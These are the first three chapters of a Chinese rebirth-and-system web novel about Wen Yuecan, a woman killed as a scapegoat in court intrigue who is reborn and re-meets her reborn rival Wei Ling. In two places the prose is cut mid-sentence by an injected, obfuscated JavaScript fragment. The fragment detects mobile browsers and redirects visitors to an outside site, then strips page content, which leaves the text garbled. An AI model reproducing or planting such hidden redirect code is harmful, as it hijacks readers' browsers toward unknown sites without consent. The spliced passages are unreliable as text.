《重生后死对头非要为我洗手做羹汤》 1. 第一章 重生 砰—— 二皇子府的大门被倏然破开,御林军持刀一拥而入,山文甲连片成剑光,向府邸更深处刺去。 二皇子顾兰安一袭华袍立在门前,高声喝道:“逆贼温朝山伏诛,今日谁先捉住其女温月惭,明日卸了刀甲,跟本宫一起进宫受赏!” 温月惭坐于主殿之中,面前炕桌上摆着一壶新煮的顾渚紫笋。 身下氍毹边角处压着香炉,檀香幽幽从中飘出,模糊了她耳边明珰的光泽。 听着外面的动静,她嗤笑一声,端起了面前的茶盏。 “嘀——” “检测到宿主任务进度即将清零。” 耳畔突然响起毫无感情的电子音,温月惭的手一顿;可是不待她作出反应,主殿门前传来一声巨响,御林军鱼贯而入,数十把长刀霎时间齐刷刷指向她。 “惭娘倒是坐得住。” 顾兰安的声音远远飘进来,温月惭把手中茶盏放下,系统的声音同时响起。 “检测到任务对象。” 御林军往两旁散开,让出一条路,顾兰安锦衣华冠,气定神闲走到她面前,垂眸看她。 温月惭仰头:“叛贼的帽子都给我扣实了,我倒是想逃——逃得掉么?” “你父亲假借我名私通兆西,豢养私兵,而你,借二皇子妃身份之便私囚皇子,以我名义与兆西传信,为你父亲和兆西叛军行事大开方便之门。” 顾兰安挥手让兵士后退,他蹲下身:“温朝山已死,你们的谋划已经落空。” “惭娘啊……”他语气温柔:“我对你有情,不愿你受死;可你此番行径让我也无可奈何。” 温月惭鬓边垂下一缕乱发,她猛地往前一扑,双目猩红:“顾兰安……你就是个蠢货!” 看着面前人的神情出现一瞬间的怔愣,温月惭自己也明白她今日的行为对于顾兰安来说太过于异常了。 可是她忍不住。 这人犯蠢,瞒着她策划谋反,还搞出“囚禁皇子”这一套来栽赃她这都不说了。问题是他失败了!失败了啊! 她到这个世界的任务就是扶顾兰安登上皇位,可是有了今日一事。 他栽赃她就能甩脱干系吗?真以为皇帝是没有脑子的? 虽然系统还没有宣布任务失败,但温月惭自己也知道,这事成不了了。 她今日不死,明日也要被系统抹杀。 叫她怎么不恨!! “微臣叨扰。” 一道清冽的声音自顾兰安身后响起,温月惭抬头看去,首先看见的是一双漆黑的眼睛。 “卫大人。“ 顾兰安有些意外地起身:“有何贵干啊?” 卫陵俯身行礼:“臣领陛下命,来送这罪女一程。” 顾兰安皮笑肉不笑:“今日父皇已将温案交由我善后,何故再派卫大人来?” 他往前踱了一步,压低了声音:“这到底是父皇的意思,还是太子殿下的意思?” 卫陵直起身,垂眸和顾兰安对视。 “臣可在此等候,殿下不若进宫去求陛下口谕?” 顾兰安眼中微不可察地闪过一丝错愕,他抿着唇,把指尖攥得发白。 “卫陵。” 半晌,他咬着牙开口:“此处是本宫的府邸,温月惭活着坐在这,就还是本宫的正妃。你若敢对她不敬,日后即便是太子,也没法在我这保下你。” 卫陵拱手:“微臣不敢。” 顾兰安的目光从卫陵身上移开。 他若有所思地看了温月惭一眼,接着便大步向外走去;御林军跟在他身后,收了长刀退了出去。 殿门关闭,最后一点刺眼的光亮被隔绝在外,殿内重新安静了下来。 脚边香炉中袅袅地升起一线香烟,却被男子的动作顷刻间扰得凌乱。 卫陵撩袍,在温月惭对面坐下来:“二皇子对娘娘,还真是情深意重。” “他那是警告我呢。” 温月惭心如死灰,连生气的劲儿都提不起来了:“你奉皇命而来,他不敢留下,却又怕你会从我这套话,叫你家殿下拿去了把柄。” 卫陵脸色一滞,似乎没想到她会这么直率。 这位卫大人,时任吏部侍郎,是太子命人引荐,实为太子门下。 “人之将死,其言也善。”温月惭抬眸:“大人要说什么,请直言吧。” 正值春夏交替,殿外风声大作,屋内却闷热,再加上此刻气氛的凝滞,总叫人有几分呼吸不畅。 男子轻笑一声,修长的手指拨过温月惭面前那盏茶:“我是奉皇命来协助二殿下不错,但此刻我坐在这里,却有一半是我自己的主意。” 温月惭皱眉:“什么意思?” “我想见见你。”他端起那盏茶,轻啜一口,目光却一直落在温月惭身上:“京都是一盘棋,两位殿下各自为将;我想看看,这位在背后和我对弈的棋手,到底长什么模样。” “以皇子为棋,你说这话,可真是不要命了。” “人之将死,其言也善。我对将死之人出言,其言,也善。” 卫陵放下茶盏:“二殿下生性冲动,像官学案那样借力打力,一举摘下太子两枚心腹的手笔,绝无可能出自他手。” “当时我为此事感到惊奇,以为他新收了什么没眼光的幕僚。可是我的眼线带给我的消息是,他收的新人,不是幕僚,而是你这个正妃。” 他似是惋惜,叹了口气:“只可惜,江山易改,本性难易。娶了这样一位好妻子,这么多年却一点长进都没有,还是个被人牵着鼻子走的性子。” 温月惭闻言愣了愣,觉出这话背后深意,才恍觉面前这人深不可测。 “温案,是你算好的?”她不可置信。 卫陵赞赏道:“聪明。” “京都势力盘根错杂,我知你为他出谋划策,在各部换血,栽植他自己的势力,可这样多麻烦呢。” 他手指轻沾茶水,在炕桌上画出一个圈。 “京都这盘好菜已被分食,可这天下是一桌盛宴,还怕有人上不了桌吗?” 温月惭耳边步摇轻晃:“西北总督廖桢是璘娘娘的胞兄,论起来就是顾兰安的亲舅父。此人统领三省军政,是名副其实的封疆大吏。” 她将茶盏拉回:“你是怎么让他二人搭上线的?” “光搭线可不够。”卫陵手上一空,只得收了手:“有了贼心,还得有贼胆。二殿下在西北有了势力,可谋逆这事可是谁人都敢做的?” “我明白了。” 温月惭嘲弄一笑:“当年元宵宴皇后被刺身死,璘娘娘成为继后人选就已经注定,这储君之位顾兰安非争不可。毕竟他于此事中得利,嫌疑最大,来日若太子登位,绝不可能放过他。” “此后,你又引导他于京都外培植势力,为今日之事埋下祸根。” “待你觉得时机已经成熟,便做出京都乱政的假象,让顾兰安觉得此刻各方注意力都对京都虎视眈眈,防卫松懈,因此决意起事。” “大差不差。” 卫陵点头:“只是我未曾料到,二殿下此生唯一聪明了的一次,就是提前把你拉出来,做了他的替罪羊……此事说来,还是我占了便宜。” “你自然占了便宜。” 温月惭冷声:“我身居后宅,是官场政事的局外人。若我同你一同入局,断不会是今日景象。” “雾失楼台,月迷津渡。”卫陵手中握着一根生金条,细细把玩着:“温月惭,你死在他手上,可真不值。” “雁过斜阳,草迷烟渚。今日难定他日事,卫居远,你别得意。” 炉中香叫她觉得有些刺鼻,温月惭忍不住咳了几声,接着便觉得喉中咳意再也停不下来。 一口腥甜从肺腑涌入喉间,温月惭揭开掩着口鼻的帕子,上面猩红的鲜血分外刺眼。 “香炉里有什么东西?” 一滴血从她嘴角流下,滴落在卫陵递过来的生金条上。 男人避而不谈:“这根金条就是我坐在这里的另一半原因。这是璘娘娘让我带给你的。” “警报——警报——” “警报——检测到宿主生命值快速下降,任务进度即将清零。” 电子音尖锐地在她脑海中响起,温月惭撑着身子靠近卫陵:“这府中还有太子的人。” 男人看着这近在咫尺的脸,面色依旧不改:“成王败寇。” “警报——宿主生命值下降至百分之五十。” 外面突然响起激烈的拍门声。 “卫陵!已经半炷香的时间了!” 顾兰安在外面喊着。 “警报——宿主生命值下降至百分之四十,任务进度即将清零。” 温月惭眼前一黑,又是呕出一口鲜血。她手臂一软,眼见着就要倒下去,宽大的袍袖打翻了茶壶,热茶尽数泼在卫陵身上。 一只手忽地托住了她的脸。 那只手上残留着余温的茶水补充了她渐渐流失的体温,鲜血从唇角滴落,腥气掩盖了馥郁的茶香。 她忽然咧开嘴笑了。 “你如此谋算,未曾预料过他会将一切都告诉我吗?” “他一言一行皆受你驱使,怎会安心?我给了他机会,让他能靠自己大展拳脚,他若告诉你,就是浪费了这个机会。” “漂亮。” 温月惭气若游丝:“他不甘被控,不甘被胁。我看透这一点太晚,但你早就明白,也会和我一样栽在这一点上。” “警报——警报——宿主生命值下降为百分之三十。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367912|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她抓住卫陵的手腕:“我们谈了这么久,你猜顾兰安,会不会觉得我把一切都告诉你了?” 卫陵眸光一转:“我是奉皇命而来。” “你是清流,可我是乱党啊。” 温月惭一双上挑的眼笑得眯了起来:“他若不甘被胁,就绝不会让你有机会把从我这里得到的消息告诉陛下或者太子……他对你起了疑心,你觉得你能活着回去吗?” “你我此刻独处,要把你的死栽赃给我,是再容易不过的事情。” “卫陵。” 她五脏六腑钻心地疼,此刻只能死死攥着男人的手腕。 “警报——宿主生命值下降至百分之二十。” “卫陵!” 她从齿间挤出这个名字。 “我会记得你,我死也会记得你。” 卫陵搀住她的肩臂,神色冷肃,看着她狼狈,也看着她癫狂。 “宿主生命值仅剩百分之十——” “我等着你步我的后尘,我在下面等着你,如果有下辈子,我绝对不放过你!” 警报声急促地响了起来。 “警报——” “警报——” “生命值清零,宿主即将脱离世界。” 一口气堵在胸口,温月惭的手缓缓垂了下来,触碰到了桌上那根金条。 “嘀——” “任务进度推进至百分之五十八。” 嗯? 她都要死了,任务进度怎么还推进了? 系统没有给她机会再去思考这个问题。温月惭只觉得身体一轻,周遭一切都在飞速向身后退去;热浪,人声,光明都在快速消逝,在一切的尽头,是深不见底的黑。 黑雾扑面而来,将她彻底笼罩。 华服珠玉尽数褪去,此刻她身上只有一袭素服,和一根碧玉簪子。 “阿惭,对不起啊……没能帮你找到你的母亲。” 温月惭轻声对那根簪子道。 她当初就是无意间从父亲的书房看到了这根古老的碧玉簪,出于好奇触碰了一下,结果就被吸入这个跟她同名簪子主人的幻境中,被系统强制执行任务。 碧玉簪亮了亮,又迅速黯淡下去。 “宿主任务失败,无法返回现实世界,即将被抹杀。” “即将被抹杀——” “即将被抹杀——” 电子音一遍又一遍重复着,温月惭的心几乎提到了嗓子眼。 下方黑暗中忽地漾出一道波纹,紧接着,这个漩涡越来越大。 温月惭身子一抖,不受控制地向下坠去。 剧烈的失重感让她五脏六腑都调了个儿,恶心和恐惧翻江倒海地涌上来。 她头顶的簪子忽然亮了亮,接着从她的发丝中滑出,向下落去。 被绾起的发丝披落下来,温月惭一愣,下意识就要去抓那根簪子;可是慢了那么一步,那抹碧绿从她指边滑走,很快就消失在黑暗中。 那漩涡停下了。 “宿主灵识已被抹杀,任务结束——” “被抹杀了?” 温月惭一下子清醒了。 怎么回事,她明明还活得好好的。 难道是那枚簪子?那上面还有原身残存的灵识,却被系统意外吞噬,当成了她? 正在她思考之时,整片空间骤然开始剧烈抖动起来。 “控制面板失效——” “控制面板失效——” “问题无法解析,问题无法解析。” “警报,警报——” 怎么又警报了? 温月惭很崩溃,在虚无中努力稳住身形。 系统突然安静了下来,良久,又是嘀的一声。 “当前任务进度,百分之,零。” 头顶零零散散撒下来什么东西,温月惭接住一看,竟是白花花的纸钱。 “先妣李氏……太孺人恸于甲……辰年五月申时寿终内寝……” 系统的电子音变得扭曲而怪异。 “距生丙戌年……九月……享年四十五……” 这些话她在原身母亲葬礼上听过,怎么又念起来了? 温月惭只觉得头越来越疼,简直快要炸开。 整片空间开始崩裂,她又开始向下落去—— “哀子月惭泣卜六月巳时发引——安——平绥山。” 温月惭身子一抖,一下子睁开了眼睛。 灵堂,白幡,灵柩。 一张纸钱飘落,正盖在她怀里的牌位上。 这怎么回事? 这是温月惭母亲李氏的灵堂。 她刚刚被投入幻境时,经历的第一个场景就是这里。一模一样,毫无差别。 她又回来了? 2. 第二章 宿敌见面分外眼红 温月惭把怀中李苷娘的牌位轻轻放下,短暂梳理了一下当下的情况。 她任务失败,正要被系统抹杀,可是原主的灵识代替她被系统吞噬,阴差阳错让她活了下来。 可是任务怎么重置了? 她呆愣着看着面前的牌位。 这个世界并非真实的世界,而是残存在碧玉簪子上的温月惭的执念化成的幻境,那么那根碧玉簪子应当是这个空间和系统存在的基础。 她眼睛亮了亮。 系统把簪子吞了,底层代码不就乱套了? 看来她能在这里重活一世,其实是系统故障的结果。 如果这么说来,如果原主真的被抹杀,这个世界是会崩溃的。但现在看起来大家都好好的,说不定,原主还没有死。 “温姑娘?” 杠夫站在她身侧,看她一直呆愣着,还以为她伤心过度了,没敢打扰。然而实在耽搁得太久了,这才出声提醒。 这一声唤让温月惭回了神,她张口:“起灵。” “起灵——” 李苷娘原先是春扇楼里的姑娘,后面被时任图州同知的温朝山赎出来,养在外面,生下了温月惭。 此事隐秘,温朝山见她生的是个女儿,后面也腻味了;又害怕这个外室的存在影响他的仕途,便给了李苷娘一笔钱,二人一拍两散。 然而街坊不知李苷娘和温朝山的关系,只晓得她是楼里出来的,平日里也多避着她。因此,即便此刻她病重而死,这院里除了抬棺的杠夫,也没有多余来吊唁的人了。 她刚穿进这里时,葬礼就已开始。李苷娘的灵柩还不是一抬薄棺,看起来,原身操持母亲的白事应当花了不少银子。 温月惭拿着哭丧棒,走在最前方,按照上辈子的记忆往平绥山走去。 平绥山不远,送葬一行走的都是小路。温月惭上山把李苷娘安葬,给杠夫付了脚钱,自己一个人往家的方向赶去。 她刚刚回来,却半分不敢松懈。 按照她前世的记忆,今晚就会有人来杀她。 当朝的皇帝于政事上怠惰,司礼监势大,贪腐之风盛行。而温朝山在升任知州后,用重金走通了司礼监的门路,去年考满考察被勾了全优,今年又将整治图州水患一事上报朝廷,不日就将擢升京官。 这卖官鬻爵,一但门路走通了,倒也一帆风顺。只是此事若不能为外人道,总是容易横生变数。 几日前进港图州的巡按御史,就是温朝山的变数。 不觉已经走到院门前,温月惭眸色一冷,推门走了进去。 院中还挂着白幡,此刻也来不及收拾。温月惭走到李氏牌位前,跪下叩了一叩,便起身进了屋。 虽说李苷娘这么些年也试着做了些小本的营生,但邻里介意她的身子,少有人买她的账。她们母女二人,多半是靠温朝山当年留下的银钱过活,日子并不宽裕;因而温月惭在柜子里翻了半天,也没找出什么很体面的衣物。 最终,她匆匆换上件干净的棉布裙就出了门,往举灵湖的方向去了。 巡按御史代天子巡狩已成惯例,今年却有所不同。 今年巡狩,太子随行。 先皇后遇刺身亡,皇帝哀痛,立定嫡子为储君。太子顾重晋是文华殿先生们教出的学生,痛恨阉党的奴颜婢膝;而顾兰安不同,他是璘贵妃的儿子,是内宦看着长大的孩子;司礼监如若想一直手握大权,扶持顾兰安就是最好的选择。 因此,温朝山经由司礼监拔擢,入京后就直入顾兰安一党。 此事看似隐秘,但于太子而言,就是一览众山小,有什么看不清?此次太子随行巡狩,温朝山若有半点错处被拿住,别的不敢多说,往后仕途自是无望。 而她,温月惭,温朝山的外室之女,就足够御史参他一个私德有亏;往大了说,还能扯出弃养不孝。 上辈子,温朝山就为这事要杀她。 长街上人头攒动,好不热闹,温月惭却觉得遍体生寒。 因为原身当年就是因此身死,故而上辈子的今天,碧玉簪给了她警示,让她有机会藏身,躲过一劫。 但这辈子,她不躲了。 温月惭抬头,穿过人群,看见举灵湖的大好风光。 管他为什么,她只知道温家要杀她,她就要把温家刺向她的刃,变成时时刻刻悬在温朝山头顶上的铡刀。 她在路边随手买了一包茯苓糕,在廊下坐下。 她要把温朝山的“私德有亏”送到某个人手里,变成一篇随时可做的文章。 这个人选谁,她方才是好好想过的。 不能是太子。 此事叫他知道,温朝山升迁无望,她还怎么借温家重回京都? 思来想去,她选定了一个在她自己意料之外的人。 卫陵。 卫陵是前任首辅费老的学生,和她同出图州,前世正是在今日,于举灵湖边得太子赏识,入了京。 今日之后,卫陵就是太子的人,必然会对温朝山的把柄感兴趣;而她前世与卫陵斗了几年,观他行事,包括他在她临终前说出的“棋子”之言,却又像是有他自己的考量。 此人在处理温朝山的事情上,约莫会给她惊喜。 温月惭安安静静地坐着,轻柔的风和茯苓糕的甜香在她身体中一起化开,叫她舒服得眯了眯眼。 这个时节举灵湖风景最好,湖边尽是游人;青山碧水,人群比肩接踵,竟让人不觉得吵闹,反而稍稍抚平了她那刚刚死里逃生还充盈着恨意的心。 看着湖上的层层春波,温月惭心中百感交集。 她已经在这个空间内待了五年了。 谁能想到她从前最爱看的系统文有朝一日能发生在她身上? 谁能想到她一个在和平年代长大的现代人,竟然在这波诡云谲的世界里走了一遭。 “长恨人心不如水,等闲平地起波澜啊……” 她仰了仰头,脱口而出道。 “好诗。” 一道含着笑的男声从身后传来,温月惭惊了一惊,转身看去。 男子穿得朴素,但举止难掩尊贵。 顾重晋? 温月惭心中的百感又多了一感。 上辈子顾兰安犯蠢害她时,这人还在香炉里加了毒,算是给顾兰安递过刀了。 她整理思绪,起身行礼。 “春光正好,姑娘的诗句,听着却有些悲凉。” “这世间万物,讲究一个‘相’字;眼中所见,口中所言皆为心中所想。公子看得见春光无限,想必是清明豁达之人。” 温月惭面上挂着很得体的笑。 “有‘相’,自然也就有‘极’。鸿蒙生两仪,姑娘以水喻人心,眼光独到。” 顾重晋收了扇子:“我看天色还早,姑娘可要结伴同游?” “公子,这——” 他身后的小书童想说些什么,却被顾重晋拦了回去。 这一番动作被温月惭尽收眼底,她微微一笑:“好啊。” 看这小书童的反应,顾重晋此行定是有事要办,而不只是来游玩的。 莫非他和卫陵的相见,并非偶然。 她大大方方走在顾重晋身旁,一颗心又往下放了些。 既如此,跟着这人,不怕找不到卫陵。 只是她记得,这以诗相会是顾重晋和卫陵的美谈,怎么重活一回,发生在她身上了? 一路上顾重晋倒是很安静,没有再同她说话,但看起来心情很是不错。温月惭假意欣赏着风景,实则暗暗等着卫陵出现。 不过他们已经在湖畔逛了半个时辰了,卫陵呢? 温月惭悄悄去看顾重晋的脸色,发现他也有些挂不住了。 难道上一世,他们二人的相见也这么大费周章吗?还是说这一世,卫陵根本没来举灵湖? 她有些不解地皱了皱眉。 她刚刚回来,还没有来得及做出什么改变,怎么会让事情的发展和前世有这么大的出入? 几人实在走了太久,温月惭提出要从湖中堤直接穿行到对面亭榭歇脚,顾重晋犹豫了一番,还是应允了。 温月惭走前前面,不禁有些心焦。 若是这一世事情的走向发生改变,那么这一时半刻,她还真找不出一个能代替卫陵的人。 她正思考着怎么脱身,眸光一闪,却在亭榭旁看见了一个熟悉的身影。 墨发披散,长眉入鬓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367913|183895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 卫陵! 传说,卫陵和顾重晋是在湖边吟诗相遇,可这货分明躲在这钓鱼呢啊。 温月惭不动声色停下脚步,转身面向身后不明所以的顾重晋。 “公子。”她笑:“咱们今个运气真好,碰上卫先生了。” 顾重晋眼睛微微一亮:“哪位卫先生?” 温月惭示意他往亭榭看去:“自然是费老的学生,很有些才名的卫陵。” 接着,看顾重晋的神色,她就知道自己没猜错,这位小太子今日就是冲着卫陵来的。 她跟在顾重晋身后,越过湖堤,踏上汀步,走入亭中。 前世卫陵托着她脸时手心的温度还残留在她耳边,今生他的背影就已经近在眼前。 “卫先生,好巧。” 卫陵听见身后顾重晋的声音,身子微不可察地一抖,僵硬地转过头来。 “……这也能找到……”他脱口而出。 顾重晋和温月惭同时皱了眉:“什么?” “我是说,我以为此地僻静,适合垂钓,却未想竟能遇上同道中人。”他放下钓竿,拱手行了一礼, 起身时,目光扫过站在后方的温月惭,竟短暂停顿了一下。 “鄙人经商路过图州,听人道此地人杰地灵,便留下赏玩了一番;却未想到能有幸见到卫先生。” 卫陵听了这话,道了不敢当。 “我是商人,却也爱些风雅。明日府中举办清谈,你我今日有缘,卫先生可否赏脸光临?” 顾重晋话刚说完,他身侧书童就将请柬递了过去。 温月惭有些无奈。 请柬都备好了,说是偶遇,谁信啊。 本以为这伯乐和千里马的佳话现场版有多么波澜壮阔,结果这顾重晋费尽心思给人递了张请柬,现在看架势是准备走了。 温月惭给他回了礼,看着二人走远了,才颇有些深意地看向卫陵。 湖上隐隐吹来些清风,撩动亭榭两旁的纱帘,模糊了面前人的五官。 “卫陵啊。”她皮笑肉不笑:“你也重生了?” 卫陵将请柬收进袖袋:“姑娘说什么?卫某听不懂。” “装不认识我?”温月惭见他要转身回钓台,往前跨了一步,拦住他的去路:“‘这也能找到’是什么意思?你知道有人会来找你?” 她微微倾身:“你会回来,我可真是太意外了……你死了,谁杀了你?” 卫陵喉间滚了一遭,轻笑一声:“我觉得我好不容易重活一世,得离你远一点。” “好了。”她竖起一根食指,抵在卫陵唇边:“让我猜一猜。你重生一遭,却试图避开上一世你和顾重晋的相遇。难道你和我一样,死在自己人手里?” 男子握住她的手腕,把她的手放下来:“不是。” 他漆黑的眸子凝在温月惭身上:“不过我确实……找到了一条更好的路。” 温月惭挣了一下,没有挣开:“那你为何直接不要来举灵湖?” “我醒来时,已经在湖边。本来我是想离开的,可是我在他身边看到了你。上一世你并没有在这里出现。” 温月惭道:“你想看看我是不是也重生了?” “不错。”卫陵点头:“当时看到你们转身,我还以为你们已经离开,却未曾想你们竟是上了湖堤。” 温月惭把手从卫陵手里抽出来:“明日清谈,你去吗?” “不去。”卫陵毫不犹豫。 “你得去。”温月惭软声:“我不知道你究竟要做什么,但这是你能进京最好的机会。” 卫陵理了理袖摆:“你会这么好心?” “当然不会。” 温月惭笑得很天真:“我只是希望,你上一世是怎么死的,这辈子,照样再死一次。” “不过——” 她扬起头:“今晚子时,潼川巷来找我,我送你一份礼物。” 卫陵低头,发丝从他肩上滑落,被风一扬,虚虚扫过温月惭的脖颈:“我记得,你说过不会放过我。” 女子不甘示弱地迎上:“你来是不来。” 卫陵直起腰身,转身只丢下四个字。“ “看我心情。” 3. 第三章 宿杀 夜色深重,最后一盏烛火也熄灭了,潼川巷内陷入了寂静。 乌云遮蔽了月色,带过一阵夜风,吹动道旁未被清扫的败叶和挂在院门前的破败风灯。 “平安无事——” 此刻已是三更,打更人提着梆子从院门前路过,踩过的枯叶咯吱响个不停。 李苷娘母女的院子里还悬着白幡,温月惭应当已经睡熟了;黑暗沉寂中,只有主屋简陋的灵堂里点着的香烛上的火苗,还在不断跃动着。 两道黑影从屋顶跃下,轻巧如叶片上滑落的一滴夜露。 两人交换了一个眼神,不约而同地伸手拔出腰侧软剑。 寒芒泼洒而出,晃过在灵堂内冷冷看着他们的一双眼。 温月惭一袭素白寝衣,不知何时举着烛台出现在灵堂内。那张惨白的脸没有因为暖融融的烛光而有半分温度,纤长睫羽在她脸上投下的阴影让她的面容秾丽如鬼魅。 二人被这场景骇得一愣,却见女子扬起了一个笑容,语气温柔。 “来了?” 来人举着软剑,皱了皱眉:“什么?” 话音刚落,身后传来一道暗哑的男声:“来了。” 两人黑衣蒙面,闻言猛地转身看去;院门不知何时被打开,一个男子墨发披散,长身玉立,看着他们的眼光让人觉得背后发寒。 夜风穿堂而过,吹开温月惭面上的乱发:“劳烦卫先生帮我料理了吧。” 她后退一步,关上灵堂的门:“别把血溅到我身上。” 卫陵霎时抬手,袖口折扇闪过一抹冷冽的光。 温月惭听到院门关上的声音,皮肉被撕裂的声音,还有人从喉咙中溢出的闷哼。 最后,是泼到门上的殷红的血。 温月惭拧眉:“不知死活的东西,敢惊扰母亲……” 外头安静下来,温月惭点了线香,在李氏牌位前拜了一拜,把香插进花炉内,拢了拢身上的褙子,才开门走了出去。 卫陵就站在院内,用帕子仔细擦拭着暗器上的血迹,见温月惭走出来,他把帕子丢在地上:“这就是你要送我的东西?” 温月惭手中烛火晃动了一下:“进来说吧。” 卫陵收了暗器:“你怎会知道我会武。” “只许你背后查我,不许我查你?”温月惭走到耳房面前,示意卫陵进去。卫陵推门的手一顿。 “这是什么地方?” “我的房间。” 男人后退一步:“怕是不妥。” 温月惭推开房门,在博古架上放下熄灭了的烛台:“主屋暂作灵堂,不便打扰逝者,我们就在这说。” 卫陵问:“逝者是谁?” “我母亲。” 他轻轻攥了攥拳,小心地迈过门槛:“那我走时,该去上一炷香才是。” 温月惭为他拉开椅子,闻言笑了笑:“那你就是第二个来吊唁她的人了。” “这两个人是怎么回事?” 温月惭一边倒茶,一边抬了抬下巴,示意卫陵把门关上:“我父亲,温朝山的人。” “你父亲是温朝山?”男人在椅子上坐下,接过温月惭递过来的压手杯。 “这就是我要送给你的东西。”温月惭在床上坐下:“温朝山早些年还在做同知的时候,由于我母亲身份的原因,没有将她纳为妾室,而是养在了外面。” “但是后面,他忧心此事会影响他仕途,给了我母亲一笔钱后就和我们一刀两断……至于他今日为何要杀我,卫先生应当知道。” 卫陵摩挲着手中杯子:“如果我没记错,近日他就会被拔擢入京,走的是司礼监张炳的门路。他莫非是担心,你的存在会阻碍他升迁?” “你我都知道此人是个什么品行,也知道他进京后会有什么作为。” 温月惭啜了口杯中茶水:“私养外室,有违礼法;弃养子女,有违十恶之九;买凶杀人,有违十恶之五……我把他的把柄交给你,此事你是告知太子,用于稳固你的地位,还是日后用于牵制此人,甚至牵制阉党,随便你。” 卫陵将压手杯放在桌上:“你白日里的话,我仔细想过,先进京,确实是当下最好的选择。” 他抬眸:“那么,你想要什么?” “我要回温家……和上一世不一样,我要回温家,但我不要让温朝山可以把我捏在手里。” 卫陵若有所思:“温朝山当真是你父亲?” 温月惭叹气:“你为什么在这么奇怪的地方有疑问。” 卫陵摇了摇头:“没什么……要我做什么?” “这么爽快?”温月惭有些意外地给他抛去一个纸团:“我写在上面了,很简单,对你来说只是举手之劳。” 男人展开纸团,仔细看了看,又把那张纸叠好,塞进怀里。温月惭看着他,脑中突然涌现出白日里他说的话。 “卫陵。“她唤道:“今日白天,你说你有了更好的一条路,是什么?” 本以为这人不会回答,却未曾想他理好衣襟后,竟然很认真地看了过来。 “你。” 温月惭一愣:“谁?” 他也不说第二遍,站起了身:“你若是当我在玩笑,也无所谓。” “我?”温月惭气笑了:“你上辈子暗算我的账我还没跟你算呢,你跟我来这套我就会放过你?我警告你,此事了了结后,你最好像你说的那样,离我远一点,保好你的命,听懂没?” 卫陵脚步一顿,接着头也不回地走了出去。 温月惭走到房门口,看着他走进灵堂,在李苷娘灵位面前上香叩首,眼底的光稍稍暗下去了一些。 卫陵从灵堂走出,在院子里稍稍驻足:“尸体,要给你带走吗?” 温月惭忍俊不禁:“不用,去吧。” 待男人真的离开了院子,温月惭嘴角的笑渐渐冷下来。 她回屋关门,从床头矮柜中抽出一封信笺,上面清清楚楚写着:吾女月惭收。 她凝眉将信纸拿出来,又细细读了一遍上面的文字。 这是李苷娘死前留下的信。 卫陵刚刚那一问,恰巧戳中她心中最深的疑惑。 温朝山不是她父亲,李苷娘,也并非她母亲。 这封信上清楚写着,李苷娘当年诞下的是一个儿郎,但当日孩子刚出生,就有一位贵人的家仆来到家中,提出要跟她换子。 李苷娘之所以称对方是贵人,不仅是因为对方给出的金银丰厚,更是因为来者均是训练有素的武人,利诱不成就改威逼,强行换子,还命李苷娘封口。 所以,温月惭其实是那位贵人的孩子。 此事直到李苷娘过身时,她才决定以一封信告诉女儿。 温月惭捻了捻信纸的边角。 难怪系统的任务,除了将顾兰安扶上皇位,还有一个,就是找到原主的生母。 她把信纸折好,仔细塞回信笺,脑子里又回想起上一世身死时,手指碰到金条时系统的反应。 任务进度推进了。 她记得,那根金条是璘贵妃送来的。 顾兰安登位的事情已成定局,任务进度推进,只能是生母那边又有了进展。 璘贵妃和温月惭的生母有关……还是,她就是……? 温月惭甩了甩脑袋。 一个在图州,一个在京都,怎么可能。 不过,卫陵那一问确实有些奇怪,他或许还真知道些什么。 温月惭吹了灯,侧身卧下。 时间已经很晚了,明日还有一场硬仗要打,早点休息才是正道。 房间内的光亮暗了,窗边盘旋着的飞蛾扑腾着冲向夜空,最终栖在了屋顶上;待晨光一点一点亮起,它又像醒了过来,扇着翅膀穿行在大街小巷。 巳时,飞蛾正贴温府石阶上休息,它所栖的那一方石板忽地震颤起来。 一架华贵马车驶过长街,停在温府面前。 “太子驾到——” 车后一行侍从在府门前齐齐排开,詹事,谕德在驾侧站定;宦官撩开车帷,顾重晋身着华袍,从车上走下。 温府大门轰的一声被推开一条缝,接着那门缝愈来愈大,温朝山理着衣襟,携一众家眷从府中走出。 众人快步走下台阶,撩袍俯身跪定。 “微臣恭请太子殿下金安。” “温大人先不必起身。” 顾重晋手持宝扇,身后的华盖在温朝山面前投下一片阴影。 “本宫今日来,是带了陛下的旨意。” 温朝山的头又低了几分:“臣恭请陛下圣安。” 内宦近身,正要宣旨,顾重晋却忽地抬了手。 一声轻笑落在温朝山头顶:“按理是要宣的,但温大人想必已经知晓旨意内容,就省了吧。大人接了旨,便起身吧。” 温朝山额上渗出几滴细汗,忙道了声是,直起身接过圣旨。 “大人政绩卓绝,陛下爱重,才召您回京任职;这几天就可以做些清点了,后日即刻启程。” 顾重晋将他虚扶起来:“陛下的赏赐,本宫命人安置在大人府中,望大人往后也要不忘本心,做好本分之事。” “自然,自然。” 温朝山拱手,看着侍者井然有序地捧着木雕鎏金盒子走进府门。 “月惭。” 顾重晋朝身后一唤,目光却一直落在温朝山身上,自然也就没有错过男人眼中一闪而过的惊诧。 温月惭打扮成侍女模样,从顾重晋身后走了出来,缓缓抬起了眼睛。 “你带着温大人,好好看看陛下赏的东西。” “是。” 温月惭手中捧着两只精巧的雕花木盒,向顾重晋行过礼后 